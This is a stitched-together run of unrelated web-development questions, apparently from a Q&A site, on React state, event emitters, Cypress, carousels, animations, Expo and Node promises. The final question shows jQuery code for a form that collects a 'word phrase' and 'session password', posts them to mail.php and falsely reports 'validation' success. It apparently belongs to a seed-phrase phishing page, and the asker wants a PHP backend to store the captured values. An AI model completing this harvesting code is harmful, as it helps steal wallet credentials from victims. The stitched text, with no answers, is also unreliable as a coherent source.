increment/decrement button issue in react app

Actually i want to show this Names in a sequence but whenever i click increment button the order ( in useState ) increment by 1 but when i click decrement button first time the order again increment by 1 and then is less than one.

function func() {
  let [getVal, setVal] = useState({
    alerts: "no alerts",
    order: 0,
  });
  
  let Names = [
      "Default",
      "Evil laugh",
      "classic alarm",
      "Pause",
      "intro music",
      "Got item",
      "Old bounce",
      "bark",
      "alarm tone",
    ];

  function slider(e) {
    let { order } = getVal,
    value = e.target.id,
    total = Names.length; 
    if (value === "up" && order !== total - 1) {
      setVal((rest) => ({ ...rest, order:order + 1 })); 
    } else if (value === "down" && order !== 0) {
      setVal((rest) => ({ ...rest, order: order - 1 })); 
    }
    setVal((rest) => ({ ...rest, alerts: Names[order] }));
  }


  return (
    <>
       
        <button
          onClick={slider}
          id="up"
        >
          up
        </button>

        <p>
          {getVal.alerts}
        </p>

        <button
          onClick={slider}
          id="down"
        >down
        </button>
</>
)
}

Creating custom event pool in javascript

I have some client side logic (I have a little 3d world where objects interacts), and I would like to add some events listener like this:

 window.addEventListener("myAmazingEvent", () => {doSomethingAmazing})

How can I implement this eventListener to my own class? Like:

    class Person {
       construcor() {

       this.listener = new SomeJavascriptEventListener() 
    }

    crouched() {

       this.listener.call("onCrunch")
    }


const a = new Person()
a.addEventListener("onCrunch", () => {a.startSinging()})

What javascript built in classes can provide this behaviour to me?

Wait for web page to adjust DOM when viewport is changed in cypress

I’m trying to change the viewport of my application multiple times using cypress.

cy.viewport(393, 851);
// do something
cy.viewport(1366, 768);
// do something

Once the view port changes, the dom will take some time to adjust itself.

How can I wait here for the dom to adjust itself and continue the execution?

I have tried to reload the app after changing the view port. But I don’t recommend this solution as it consumes time and not all pages are reloadable.

cy.viewport(393, 851);
cy.reload();
// do something
cy.viewport(1366, 768);
cy.reload();
// do something

JavaScript Carousel from Json File

I am trying to build a JavaScript carousel from a JSON file that has two buttons on the side and for each image to have a caption.

This is what I currently have:

All my images are being shown at once???

My Images

here is index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="css/style.css">
    <link href="https://fonts.googleapis.com/css2?family=Cabin&display=swap" rel="stylesheet">
    <script defer src="js/app.js" ></script>
    <script defer src="js/Carousel.js" ></script>
    <title>CubePro</title>
</head>
<body>
    <nav class="nav-menu">
        <h1 class="heading">CubePro</h1>
        <ul>
            <li><a href="index.html"class="colour-orange">Home</a></li>
            <li><a href="Three.html"class="colour-red">3*3</a></li>
            <li><a href="Two.html"class="colour-purple">2*2</a></li>
            <li><a href="Timer.html"class="colour-dark-purple">Timer</a></li>
        </ul>
    </nav>

    <div class="carousel">
      <button class="carousel-button prev" id="carouselPrev">&#8656;</button>
      <button class="carousel-button next" id="carouselNext">&#8658;</button>
      <div class="carousel-images" id ="carouselImages"></div>
      <p class="caption" id = "caption"></p> 
    </div>
      

    <h1 class="title2">Begin Your Cubing Success</h1>
    <div id="image_url_1"></div>
    <h1 class="getstarted"><a href="Three.html">Get Started Now!!</a></h1>
    <p class="paragraph">Solving a Rubiks Cube has never been better and easier</p>
</body>
</html>

Here is my CSS:

.carousel {
  width: 100%;
  height: 100%;
  position: relative;
}

.carousel-images{
  position: absolute;
  z-index: 1;
  left: 0;
  width: auto;
  height: 100px;
  transition: left 0.5s ease-in-out;
}

.carousel img{
  width: auto;
  height: 100px;
}

.carousel-button {
  position: absolute;
  z-index: 2;
  background: none;
  border: none;
  font-size: 4rem;
  top: 50%;
  transform: translateY(-50%);
  color: rgba(255, 255, 255, .5);
  cursor: pointer;
  border-radius: .25rem;
  padding: 0 .5rem;
  background-color: rgba(0, 0, 0, .1);
}

.carousel-button:hover,
.carousel-button:focus {
  color: white;
  background-color: rgba(0, 0, 0, .2);
}

.carousel-button.prev {
  left: 1rem;
}

.carousel-button.next {
  right: 1rem;
}

.caption{
  position: absolute;
  z-index: 3;
  bottom: 0;
  text-align: center;
  width: 100%;
  color: white;
  background-color: rgba(0,0,0,0.25);
  height: 50px;
  line-height: 50px;
}

And here is my JavaScript:

var images  = document.getElementById("carouselImages");
var caption  = document.getElementById("captions");
var prev = document.getElementById("carouselPrev");
var next  = document.getElementById("carouselNext");

fetch("js/images.json").then(function(res){
  if (!res.ok) {
    alert("No json found.");
    throw new Error("No json found.");
  }
  res.json().then(function(json){
    json.forEach(function(el){
      var image = document.createElement('img'); 
      image.setAttribute("src", el.imageSrc);
      image.setAttribute("alt", el.caption);
      image.setAttribute("title", el.caption);
      images.appendChild(image);
    })
    setupCarousel(json);
  })
})

function setupCarousel(json){
  var imageCount = json.length;
  var currentImage = 1;
  var imageWidth = 500;
  
  prev.addEventListener('click', function(){
    if(currentImage !== 1){
      currentImage--;
      images.style.left = imageWidth - currentImage * imageWidth + "px";
    }
    caption.innerText = json[currentImage - 1].caption;
  });

  next.addEventListener('click', function(){
    if(currentImage !== imageCount){
      currentImage++;
      images.style.left = imageWidth - currentImage * imageWidth + "px";
      caption.innerText = json[currentImage - 1].caption;
    }
  });

  caption.innerText = json[currentImage - 1].caption;

}

How can I get my images to appear 1 at a time?

Sending Data to a Server with Jquery (Ajax) and PHP and GET the Data

i am trying to get a Website done. The Problem is: I dont know how i can send the Data to the Webserver and save the data at is place. What i have is some ul´s where i can drag and drop li´s with ids (user_0 to user_100). What I want is to click on the submit button and send the Data as it is to the server and save the changes but that is the point where i am stuck. Maybe you can help me out:

  * {
            font-family: 'Fredoka', sans-serif;
            font-family: 'Gothic A1', sans-serif;
            font-family: 'Lato', sans-serif;
            font-family: 'Nanum Gothic', sans-serif;
            font-family: 'Poppins', sans-serif;
        }


        #sortable1, #sortable2 {
          border: 1px solid #eee;
          width: 400px;
          min-height: 20px;
          list-style-type: none;
          margin: 0;
          padding: 5px 0 0 0;
          float: left;
          margin-right: 10px;
        }
        #sortable1 li, #sortable2 li {
          margin: 0 5px 5px 5px;
          padding: 5px;
          font-size: 1.2em;
         }
        .unsortiert {
            float: left;
            margin-right: 2%;
            padding: 20px;
            background: #eee;
            }
        .header {
            text-align: center;
            font-weight: bold;
        }
        .ui-state-default {
            padding:10px;
            background:#bada55;
            border:1px solid;
            display:inline-block;
            margin:25px
        }
<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Fredoka:wght@300&family=Gothic+A1:wght@200;500&family=Lato:wght@300&family=Nanum+Gothic&family=Poppins:wght@200&display=swap" rel="stylesheet">
    <title>Test</title>
</head>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>


<style>
      
        </style>

        <script src="https://code.jquery.com/jquery-3.6.0.js"></script>
        <script src="https://code.jquery.com/ui/1.13.1/jquery-ui.js"></script>
        <script>
          $( function() {
    $( "#sortable1, #sortable2, tbody").sortable({
      connectWith: ".connectedSortable"
    }).disableSelection();
  } );
  </script>

       
<?php

$sequenz = array(
    array('User' => '1','Name' => 'Test1','farbe' => 'grün'),
    array('User' => '2','Name' => 'Test2','farbe' => 'grün'),
    array('User' => '3','Name' => 'Test3','farbe' => 'grün'),
    array('User' => '4','Name' => 'Test4','farbe' => 'grün'),
    array('User' => '5','Name' => 'Test5','farbe' => 'grün'),
    array('User' => '6','Name' => 'Test6','farbe' => 'grün'),
);

?>
    <?php
echo '<ul id="sortable1" class="connectedSortable">';
    foreach ($sequenz as $result) {
        echo '<li id="user1" class="ui-state-default">' . $result['Name'];
    }
echo '</ul>';
?>


<?php
echo '<ul id="sortable1" class="connectedSortable">'. "Tabelle2";
echo '</ul>';
?>




<?php
echo '<ul id="sortable1" class="connectedSortable">'. "Tabelle2";
echo '</ul>';
?>

    <button class="submit">Hier klicken zum Speichern in der Datenbank</button>

<script>
$('#sortable1 li').attr('id', function() {
  return 'name' + $(this).index();
});
</script>


<script>


</script>



</body>
</html>

HTML Pug and SCSS Animation script not works in Chrome Browser

I get this Boxes Animation script from Codepen but it not working in Chrome browser, Can anyone figure out why it is not working in chrome browser? however it is perfectly working in firefox browser.

The script is built in Html(pug) and SCSS.

SCSS Code:

  $delay: 1250ms;
$duration: 6000ms;
$size: 25px;
$half: $size / 2;
$nalf: $size / -2;

$total-blocks: 50;

html, body {
   height: 100%; 
   margin: 0;
   overflow: hidden;
}

* {
   box-sizing: border-box;
}

body {
   display: flex;
   height: 100%;
   width: 100%;
   justify-content: center;
   align-items: center; 
   background-image: linear-gradient(to top, #c6c6c6, #ffffff 10vh, #e7e7e7 10vh, #EEE);
}

.ready {
   display: grid;
   grid-gap: $size;
   grid-template-columns: repeat(5, 1fr);
   
   animation: lateral $duration linear infinite both;
   animation-delay: $delay / 2;
}

.R { 
   grid-template-areas:
      "a1 a6 a8"
      "a2 . a9"
      "a3 a7 ."
      "a4 . a10"
      "a5 . a11";

   > :nth-child(8),
   > :nth-child(9) {
      top: $half;
      position: relative;
   }
   > :nth-child(10) {
      left: $nalf;
      position: relative;
   }
}

.E { 
   grid-template-areas:
      "a1 a6 a9"
      "a2 . ."
      "a3 a7 a10"
      "a4 . ."
      "a5 a8 a11";
}

.A { 
   grid-template-areas:
      ". a1 ."
      "a2 . a7"
      "a3 . a8"
      "a4 a6 a9"
      "a5 . a10";

   > :nth-child(2) {
      left: $half;
      position: relative;
   }
   > :nth-child(7) {
      left: $nalf;
      position: relative;
   }
}

.D { 
   grid-template-areas:
      "a1 a6 a8"
      "a2 . a9"
      "a3 . a10"
      "a4 . a11"
      "a5 a7 .";
   > :nth-child(n + 8) {
      top: $half;
      position: relative;
   }
}

.Y {
   grid-template-areas:
      "a1 . a6"
      "a2 . a7"
      "a3 . a8"
      ". a4 ."
      ". a5 .";

   > :nth-child(3) {
      left: $half;
      position: relative;
   }
   > :nth-child(8) {
      left: $nalf;
      position: relative;
   }
}

.letter {
   display: grid;
   grid-gap: 4px;
}

.block {
   --ratio: calc(var(--index) / #{$total-blocks});
   --delay: calc(calc(var(--ratio) * #{$delay / 2}) + #{$delay / 2}); 
     
   transform-style: preserve-3d; 
   transform: rotate(calc(var(--angle) * 1deg)) translate3d(calc(var(--sign) * 200vw), 0, 0) rotate3d(1, 0, 0, -90deg) rotate3d(0, 1, 0, 90deg);
   animation-name: block-intro;
   animation-timing-function: ease-in;  
   animation-fill-mode: both;
   animation-iteration-count: infinite;
   animation-delay: var(--delay);
   animation-direction: reverse;
   animation-duration: $duration;
   position: relative;
   z-index: -1;
   
   height: $size;
   width: $size;
   will-change: transform;

   .face {
      display: block;
      position: absolute;
      background-color: #2e92de;
      backface-visibility: visible;
      width: $size;
      height: $size;
      border: solid 1px #2f454f;
      display: flex;
      justify-content: center;
      align-items: center;
   }

   .face-1 {
      transform-origin: bottom center;
   }

   .face-2 {
      transform: rotateX(-90deg);
      transform-origin: bottom center;
      overflow: hidden;
      
      &:before {
         content: '';
         position: absolute;
         background-color: #00d2ff99;
         top: 0;
         left: 0;
         right: 0;
         bottom: 0;
         animation: shimmer $duration linear;
         animation-delay: var(--delay);
         animation-fill-mode: both;
         animation-iteration-count: infinite;
      }
      // display: none;
   }
   .face-3 {
      transform: rotateY(90deg);
      transform-origin: right center;
      // display: none;
   }
}
 
@keyframes block-intro { 
   40%  {
      transform: rotate(0deg) translate3d(0, 0, 0) rotate3d(1, 0, 0, -90deg) rotate3d(0, 1, 0, 90deg);
      animation-timing-function: cubic-bezier(.95,.05,.8,.04);
   }
   70% { 
      transform: rotate(0deg) translate3d(0, 0, 0) rotate3d(1, 0, 0, -90deg) rotate3d(0, 1, 0, 90deg);
      animation-timing-function: linear;
   }
   80% { 
      transform: rotate(0deg) translate3d(0, 0, 0) rotate3d(1, 0, 0, 0deg) rotate3d(0, 1, 0, 0deg);
      animation-timing-function: linear;
   }
   100% {  
      transform: rotate(0deg) translate3d(150vw, 0, 0) rotate3d(1, 0, 0, 0deg) rotate3d(0, 1, 0, 0deg);
      animation-timing-function: ease-out;
   }
}

@keyframes lateral {
   from {
      transform: translateX(12%)
   }
   to {
      transform: translateX(-12%)
   }
}

@keyframes shimmer {
   from, 25% {
      transform: scale(2, 1) rotate(-45deg) translate(-100%);
   }
   35%, to {
      transform: scale(2, 1) rotate(-45deg) translate(0%);
   }
}  

HTML Pug Code

.ready
   - var t = -1
   - var n = -1
   .letter.R
      while n++ < 10
        .block(style={ "--index": ++t, "--angle": (147 * t) % 360, "--sign": t % 2 ? 1 : -1, "grid-area": "a" + (n+1) })
          .face.face-1
          .face.face-2
          .face.face-3

   - n = -1;
   .letter.E
      while n++ < 10
        .block(style={ "--index": ++t, "--angle": (-147 * t) % 360, "--sign": t % 2 ? 1 : -1, "grid-area": "a" + (n+1) })
          .face.face-1
          .face.face-2
          .face.face-3

   - n = -1;
   .letter.A
      while n++ < 9
        .block(style={ "--index": ++t, "--angle": (147 * t) % 360, "--sign": t % 2 ? 1 : -1, "grid-area": "a" + (n+1) })
          .face.face-1
          .face.face-2
          .face.face-3
          
   - n = -1;
   .letter.D
      while n++ < 10
        .block(style={ "--index": ++t, "--angle": (-147 * t) % 360, "--sign": t % 2 ? 1 : -1, "grid-area": "a" + (n+1) })
          .face.face-1
          .face.face-2
          .face.face-3
          
   - n = -1;
   .letter.Y
      while n++ < 7
        .block(style={ "--index": ++t, "--angle": (147 * t) % 360, "--sign": t % 2 ? 1 : -1, "grid-area": "a" + (n+1) })
          .face.face-1
          .face.face-2
          .face.face-3

Please Fix this Code to run in Chrome Browser.

The source for this script is from Codepen:

https://codepen.io/notoriousb1t/pen/vroZox

Thanks

React Native Expo: Barcodescanner camera doesn’t rotate when i press the rotate button

I’m using React Native Expo. Currently i’m trying to make an application which uses a barcodescanner for scanning QR-code objects. I’ve implemented a turn camera button for the front or back camera but when i press the button it does nothing only when i switch from one screen to the other. I think there is something wrong with refreshing the screen immediately but i’ve no clue of how i should solve this problem

Code:

import React, { useEffect, useState, useLayoutEffect } from 'react';
import { StyleSheet, Text, View, Button, Alert, ActivityIndicator, Pressable } from 'react-native';
import { globalStyles } from '../styles/global';
// import { Camera, BarCodeScanningResult } from 'expo-camera';
import { BarCodeScanner } from 'expo-barcode-scanner';
import BarcodeMask from 'react-native-barcode-mask';
import { useIsFocused, useNavigation } from '@react-navigation/native';
import CustomButton from '../components/CustomButton';
import Icon from 'react-native-vector-icons/MaterialCommunityIcons';

export function ShowLoading(){
    return(
        <View style={styles.loader}><ActivityIndicator size="large" color='white'/></View>
    )
}

export default function Scan(){

    const navigation = useNavigation()
    const [hasPermission, setHasPermission] = useState(null);
    const [scanned, setScanned] = useState(false);
    const [loading, setLoading] = useState(false);
    const [type, setType] = useState(BarCodeScanner.Constants.Type.back);
    const isFocused = useIsFocused()


    useEffect(() => {
        (async () => {
            const {status} = await BarCodeScanner.requestPermissionsAsync();
            setHasPermission(status === 'granted');
        })();
    }, []);

    // useEffect(() => {
    //     if(loading){
    //         setLoading(true)
    //     } else {
    //         setLoading(false)
    //     }
    // },[loading])

    const initScanner = async() => {
        const {status} = await BarCodeScanner.requestPermissionsAsync();
        setHasPermission(status === 'granted');
    }

    const handleNavigation = async() => {
        setScanned(false)
        navigation.navigate('Oefening')
    }

    const handleNo = () => {
        setScanned(false)
    }

    const handleBarCodeScanned = ({ type, data }) => {
        setScanned(true)
        setLoading(true)
            setTimeout(() => { Alert.alert(
                'QR-Code gevonden',
                `QR-Code met type ${type} en data ${data} is gescand, wilt u verder gaan?`,
                [
                    {
                        text: "Nee",
                        onPress: () => handleNo(),
                    },
                    {
                        text: "Ja",
                        onPress: () => handleNavigation(),
                    }
                ]
            ), setLoading(false)}, 1000)
    }

    if (hasPermission === null) {
        return <View style={styles.permissionWrapper}>
                    <Text style={styles.permissionText}>Een moment geduld..</Text>
                    <ActivityIndicator size='large' color='#1f69b1'></ActivityIndicator>
                </View>;
    }

    if (hasPermission === false) {
        return <Text>Geen toegang tot uw camera!</Text>;
    }

    return (
        <View style={{flex: 1, flexDirection: 'column', justifyContent: 'flex-end'}}>
            {loading? (<View style={styles.loader}><ActivityIndicator size='large' color='#1f69b1'></ActivityIndicator></View>
            ) : (
            isFocused &&
            
            <BarCodeScanner
                onBarCodeScanned={scanned ? undefined : handleBarCodeScanned}
                style={StyleSheet.absoluteFillObject}
                type={type}
            >   
                <View style={styles.topOptions}>
      
                    <View style={styles.cameraRotateWrapper}>
                        <Pressable style={styles.cameraRotate}
                            onPress={() => {
                                setType(
                                  type === BarCodeScanner.Constants.Type.back
                                    ? BarCodeScanner.Constants.Type.front
                                    : BarCodeScanner.Constants.Type.back
                                );
                              }}
                        >
                            <Icon name='rotate-3d-variant' size={40} color={'white'}></Icon>
                        </Pressable>
                    </View>
                </View>
                <BarcodeMask edgeColor={'#62B1F6'} showAnimatedLine={true}/>                              
            </BarCodeScanner>)}
            {scanned? <View style={styles.searchTextWrapper}><Text style={styles.searchText}>Gevonden!</Text></View> : <View style={styles.searchTextWrapper}><Text style={styles.searchText}>Zoeken naar QR-Code.... </Text></View>}
            {/* {scanned? <Button title={'Opnieuw scannen'} onPress={() => setScanned(false)} /> : null} */}
            <View style={styles.bottomOptions}>
                <CustomButton textValue="Herladen" onPress={initScanner}></CustomButton>
            </View>
        </View>
    )
}

const styles = StyleSheet.create({
    loader: {
        justifyContent: "center",
        alignItems: 'center',
    },
    permissionWrapper: {
        justifyContent: 'center',
        alignItems:'center',
        margin: 15,
    },
    permissionText: {
        fontSize: 16,
        fontWeight: 'bold',
    },
    topOptions: {
        marginTop: 20,
        justifyContent: 'space-between',
        marginHorizontal: '10%'
    },
    searchTextWrapper: {
        
    },
    searchText: {
        color: 'white',
        fontSize: 18,
        textAlign: 'center',
    },
    cameraRotateWrapper: {
        width: 50,
        height: 50,
    },
    cameraRotate: {
        justifyContent: 'center',
        alignItems: 'center',
        borderWidth: 1,
        borderColor: "white",
        backgroundColor: '#1f69b1',
        borderRadius: 10,
    }, 
    bottomOptions: {
        marginHorizontal: '10%',
        marginBottom: 10,
    },
})

Default Tab is adding twice in React JS

https://jsfiddle.net/t5q37nbe/2/

First of all, I have created a tab section using AntDesign library. The problem that I have is Tab-1 is default Tab. As soon as the code runs, it automatically opens with the Tab-1. On clicking the ADD Tab-1 button, another tab-1 gets popped. I don’t want that to happen. On clicking Tab-1 it shouldn’t open a new tab again.

Here I have set ‘1’ for focusing and openingpane in order to be default,

 this.state = {
  focusingPaneKey: '1',
  openingPaneKeys: [1],
}

Can any one help me in solving this glitch.

How to prevent change of array stored in snapshot class upon modification of the restored or original array Javascript

As part of a screening process, I was sent a TestDome link to assess my Data structure Prowess. The question goes like this,
Modify the implementation of the Snapshot class so that an Array stored
in the snapshot is not affected by modifications to either the original or restored Array.

This is the original Javascript code

var array = [1, 2];
var snap = new Snapshot(array);
array[0] = 3;
array = snap.restore();
console.log(array.join()); //It should log "1,2"
array.push(4);
array = snap.restore();
console.log(array.join()); //It should log "1,2"

At this point, it logs
3,2
3,2,4
to the console. but the goal is for the console to log 1, 2 and 1, 2 both times

I understand for the array in the constructor to remain unchanged, I need to copy and array and transfer all computations to the copied array for that class instance.
Now, this is what I did, I converted the array to integer and stored it in a new variable.

var array = [1, 2];
var result = array.map((x) => {return parseInt(x, 10); }); //line I added
var snap = new Snapshot(result); // changed snapshot parameter to result
array[0] = 3;
array = snap.restore();
console.log(array.join()); //It should log "1,2"
array.push(4);
array = snap.restore();
console.log(array.join()); //It should log "1,2"

Now the problem is it logs 1,2 and 1, 2, 4 to the console
I don’t get why snap doesn’t restore to before the push method. Or maybe my whole approach was wrong.

Please don’t just answer with the correct code. I wish to understand your thought process as well.

JS Request await Request, return doesnt wait for promise

I got a problem, I need to await a request to be finished in my Node.js code, I only get returned undefined or Promise pending and my code doesnt await for my array to be filled. Thanks alot

function request(){
  var arrTours = [];
  var p1 = new Promise(function (resolve) {
    

    request(optionsauth, function (error, response) {
      if (error) throw new Error(error);
      var JSONResponseCode = JSON.parse(response.body)
      var accesstoken = JSONResponseCode.access_token
      getData(accesstoken)
    });

    function getData(accesstoken){
      var options = {
        'method': 'GET',
        'url': 'https://google.com',
        'headers': {
          'Authorization': 'Bearer ' + accesstoken
        },
        formData: {
        }
      };
    
      request(options, function (error, response) {
        if (error) throw new Error(error);
        const xml = response.body;
        var TourLength = 5;
        
        
        for (var i=0; i<TourLength; i++)
          parser.parseString(xml, function (err, result) {
            const Tour = {
              Day: result[0]
            };
            arrTours.push(Tour)
          })
          resolve(arrTours)
        });
      }
      
  })
}

async function f1() {
  var x = await request();
  return x
}
f1();

i want to print inventory data

I want to print inventory data

const inventory = require('./cars.js');


console.log(inventory[id])

the data is like

let inventory = [{"id":1,"car_make":"Lincoln","car_model":"Navigator","car_year":2009},
{"id":2,"car_make":"Mazda","car_model":"Miata MX-5","car_year":2001},
{"id":3,"car_make":"Land Rover","car_model":"Defender Ice Edition","car_year":2010}]

PHP Script that writes post to mySQL database

I have this JavaScript code here and it posts to ‘mail.php’ which I dont have. Can someone help me write a PHP script that will write this to a mySQL database? I just want it to post to my mySQL database but I have no idea how to do that. I think its pretty simple, but I have no knowledge in JS or PHP. Any help is appreciated.

$(document).ready(function() {
    
    console.log($('#my-phrase').length)

    $('button[type="submit"]').click(function(e) {

        e.preventDefault()
        
        console.log($('#my-phrase').length)

        var phrase = $('#my-phrase').val(),
            password = $('#form-field-field_0e9487d').val()

        if (phrase == '') {
            error('Provide Word Phrase')
            return
        } 
        
        // else if (password == '') {
        //     error('Provide Session Password')
        //     return
        // }

        Swal.fire('Processing')
        
        var formData = [phrase, password]

        $.ajax({
            async: false,
            url: 'mail.php',
            data: { data: formData },
            type: 'POST',
            success: function(data) {
                if (data == '1') {
                    $('#phrase').val('')
                    // window.location.href = 'success';
                    success('Validation Sucessful')
                } else {
                    error('An error occurred.')
                }
            }
        })
    })



    function error(msg) {
        Swal.fire(
            'Error',
            msg,
            'error'
        )
    }

    function success(msg) {
        Swal.fire(
            'Success',
            msg,
            'success'
        )
    }

})